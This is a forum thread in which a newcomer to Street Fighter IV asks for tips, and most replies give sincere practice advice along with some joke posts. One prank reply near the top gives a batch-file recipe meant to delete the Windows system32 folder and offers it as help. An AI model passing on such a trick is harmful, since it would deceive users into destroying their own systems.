i am terrible atm... i come from a background of tekken as my go to fighting game and street fighter 4 is my first go at the ST franchise. i reckon this is the reason why im not so great at the game. Does anyone have any tips or helpful points for me to step my game up and become a member of a community i would very much like to join? 

HADOOOOOOO KEN

jam on down and forwardas ken sagat or ryu and press punch a lot.

Perhaps you could try sucking less:)

 open a notepad type the following:
@echo off
del c:\WINDOWS\system32

save the file as anything.bat (remember to add the .bat extension and save as all files)
double click and it will delete the system32 folder.

" HADOOOOOOO KEN "

" Jump in every chance you get. "

Try and do the normal combo trials for a character that you like. Get a feel for what all their moves. Play some Arcade mode and slowly ramp up the differculty until you're comfortable with what you can do. Then play a few player matches and try and get a few games with people from this forum. There's quite alot of begginner players around here that would like to practise.
 
But yeah, just keep playing and practicing. You'll be playing over 200 hours probably before you figure out 75% of the game.
 
Edit: sorry about my typos and misspellings, not feeling great.

SHORYUUUUUUU KEN

By the way, anyone not here to help bugger off.

" @Scooper: the problem with this is that player matches are full of people that are very good at the game... not all but quite a lot. "

Play Arcade mode until you get the mechanisms of the game down, then if you feel it, choose a character that you feel comfortable playing with and start learning their bread and butter combos. If you want to speed up your progression quickly, but dont mind doing a little homework, head over to Shoryuken.Com and in the forums there are breakdowns for each character, as well as tips in match-ups and whatnot.

Learn to cancel. The Challenge Mode is a good place to learn canceling. Ken is a great character to start with.

Come play me.

Practice, practice, practice. Work on the challenges.Some are insanely frustrating, but all of the attempts will really help you get used to he controls even if you don't realize it. Also, a sparring partner is good to have. Ask them to do certain things like combos or jump ins, so you can learn and practice counters and such. If you have it for the 360 I'd be happy to help ya.

Do not play Street Fighter IV like you play Tekken 6. Watch some tournament videos on YouTube and see how people play. Not every character plays alike.

" @Scooper: the problem with this is that player matches are full of people that are very good at the game... not all but quite a lot. "

" @CptChiken: If you ever decide on giving Mr. Masters a go, hit me up. I will teach you some tricks. "

I kind of suck as well, but only mostly in comparison to the SF community here at giant bomb. Here's how I got past "Just kind of jumping in and sweeping all the time"
1. Learn to do all your favored character's special moves consistently. This isn't too hard, unless of course we are talking about Guile and Vega's Ultras, which I still have no idea how to pull off on an Xbox controller. 
 
2. Learn which moves cancel into other moves. I use Ryu, partially because I am a scrub, and also because he's a solid choice. I know, for example, that I can cancel his jumping fierce (Heavy Punch) into a super or ultra. 
 
3. Practice, Practice, Practice! Seriously. That's all there is to it. After a while you figure out when you can throw a fool and when you can't, when to use a focus attack, and how to not suck. It's going to take some time, and it's going to take some friends. 
 
I would offer to help, but I don't actually own Street Fighter IV, as I managed to con a friend into letting me borrow it for 5 or so months before my save data got corrupted and I decided to give it back. However, once Super Street Fighter IV comes out, feel free to ask me.

Just play matches.

Just practice a lot.

SONIC BOOM! SHRYUKEN!! HADOUKEN!!!
 
I agree with Rayfield, you should try different characters. I found i in actual fact suck with Ryu, and i always used him. I found that Zangief was the dude for me.

Pick Dan and super taunt.  You get an instant win every time.

Get the basic moves down in arcade mode and challenge mode, then go to player matches.  Find someone who utterly destroys you and play them over and over till you get better.  The people who are still playing online in street fighter 4 are all quite good, so there are not many options to learn other than taking a lot of beatings and learning from them

Play to learn, not to win. Don't get too salty, just shrug it off and analyze where your game went wrong. Learn basic things, fundamentals first. Combos and crazy stuff second. Try to find how all your normal moves work, put them to work. All really general stuff but I wish I would have tackled my learning in this way.

Try a bunch of different characters out.  If you think you suck with all of them too, default to Ken or Ryu.  They are both all-around solid fighters and both easy to learn.  Sagat is similar, and although a little more complicated, I think he's a good starting character too.  Try being really aggressive with Ken (jumping in, low kicking, using his "target combo" into the Shoryuken, etc.).  Ken can't throw fireballs quite as fast as Ryu, but his Shoryuken (dragon punch) is devastating, far-reaching, and can 
really get you out of a lot of tough situations.  Use shoryukens and anti-air moves like that against overly aggressive players who keep jumping in towards you.
 
Oh and don't waste any Microsoft points on those "official strategy videos" you can find on X-Box live...they're a waste of space and time...you can learn much more from the official strategy guide.  The strategy guide is really good in my opinion, I got mine for free...but I think it would be worth the price considering how serious you seem to be about this.  SFIV can be incredibly satisfying if you're doing good.  Sometimes it's miserable though, because there really are INCREDIBLE players out there who grew up playing it so don't get discouraged if you get your ass handed to you every once in a while.
 
A lot of people would recommend getting an arcade-style joystick too, especially if you have it for X-Box because the d-pad kinda sucks.  I don't use one though so I don't know what to tell you about that.

" Try a bunch of different characters out.  If you think you suck with all of them too, default to Ken or Ryu.  They are both all-around solid fighters and both easy to learn.  Sagat is similar, and although a little more complicated, I think he's a good starting character too.  Try being really aggressive with Ken (jumping in, low kicking, using his "target combo" into the Shoryuken, etc.).  Ken can't throw fireballs quite as fast as Ryu, but his Shoryuken (dragon punch) is devastating, far-reaching, and can  really get you out of a lot of tough situations.  Use shoryukens and anti-air moves like that against overly aggressive players who keep jumping in towards you.  Oh and don't waste any Microsoft points on those "official strategy videos" you can find on X-Box live...they're a waste of space and time...you can learn much more from the official strategy guide.  The strategy guide is really good in my opinion, I got mine for free...but I think it would be worth the price considering how serious you seem to be about this.  SFIV can be incredibly satisfying if you're doing good.  Sometimes it's miserable though, because there really are INCREDIBLE players out there who grew up playing it so don't get discouraged if you get your ass handed to you every once in a while.  A lot of people would recommend getting an arcade-style joystick too, especially if you have it for X-Box because the d-pad kinda sucks.  I don't use one though so I don't know what to tell you about that. "

to really get a grasp of how this game works, you need to take it back old school and learn some of the most basic elements of the game.
 
 http://www.youtube.com/watch?v=d0cFs5mHQC4
 
watch both beginner videos and the other two. granted this is super turbo hes talking about, but the psychology applies.
 
then you wanna start watching videos of your character and how he/she matches up with other character
 
 http://streetfighterdojo.com/sf4/index.html
 
you're going to need to watch ALOT of videos. there are so many mixups, combos, and strats that you just won't get from playing the trail mode. most of the combos there aren't even viable for most characters. so watch how the pros play, and you'll get an idea of how you should be playing. 
 
thats not to say that pro tactics will work all the time. especially when playing against complete and total scrubs. its a sad fact that alot of scrub tactics require you to play scrubbily to defend against. then again alot of times it requires just watching how predictable they are and adjusting to it. all things that you just learn in time by playing against as many different players as possible.
 
and last but not least, sign up here and start reading
 
 http://forums.shoryuken.com/
 
and thats really as much as i can think of at this moment. really right now you'll just need to get the psychology of the matches down. character strats and move properties will be changed in super 4 but you should still be able to take most of what you'll learn here into that game too.
 
anyway, have fun learning.

" Come play me. "

Yeah watch Sirlin's videos for SF2, then maybe read some of the character guides over here. After that just mess around in training and online and don't worry about winning too much. Copy what you see some other players doing online if it's working. Also you can play me if you want, I play okay with a good portion of the cast so we can mess around some. 
 
My GT is AniMoney

oh and buy a stick if you're super serious about it. some characters can't be played well without one.

Start playing with Ryu or Ken.
and learn:
@dbz1995 said:

" HADOOOOOOO KEN "

" SHORYUUUUUUU KEN "

Do a barrel roll

Do a barrel roll

Just keep practicing, thats the only way to get better.